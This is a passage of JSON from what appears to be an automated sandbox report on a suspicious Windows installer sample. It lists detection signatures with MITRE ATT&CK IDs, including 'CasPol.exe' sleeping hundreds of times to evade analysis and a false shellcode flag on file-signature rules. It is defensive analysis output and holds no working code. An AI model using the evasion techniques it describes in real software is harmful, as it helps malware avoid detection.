[%TEMP%\\is-R71B9.tmp\\is-U1OLK.tmp]- [targetUID: 00000000-00004064]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"informative","category":"Unusual Characteristics","name":"Found Delphi 4 - Delphi 2006 artifact","description":"\"is-DE8BC.tmp\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu Jan 1 00:00:00 1970\n \"is-U1OLK.tmp\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Wed Nov 13 00:18:44 1996","origin":"Static Parser","relevance":10,"id":"static-19","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleA@KERNEL32.dll at 29116-1-004C38E0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 19370-1-00405785\n GetStartupInfoA@KERNEL32.dll at 19370-237-004230A0\n GetStartupInfoA@KERNEL32.dll at 29116-1-004C38E0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"CasPol.exe\" (Thread ID: 6612) slept \"525\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"6542f918975a84b5fb03cc79"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Contains escaped byte string (often part of obfuscated shellcode)","description":"\"\\% https://www.isobuster.com/help/custom_file_signature_rules\\% Various common file types to demonstrate the use of rulesLZANIM\\|.lza\\xFF\\xD8\\xFF\\o(2)\\xE?\\o()\\xFE\\o()\\|.jpgGIF\\o(2)8\\o()\\#\\x??\\o()\\|.gif\\#ID3\\|.mp3MM\\x00\\x2A\\|.kdc\\x4F\\x67\\x67\\x53\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\|.oggSFW/|.sfw\\x60\\xEA\\o(2)\\p(8)\\x10\\x00\\x02\\o()\\#\\x??\\o()\\|.arjgzip-\\>\\=1\\s(-1)\\<\\=9.\\>\\=1\\s(-1)\\<\\=9.\\>\\=1\\s(-1)\\<\\=9\\|.gz\\xEF\\xBB\\xBF\\f(4,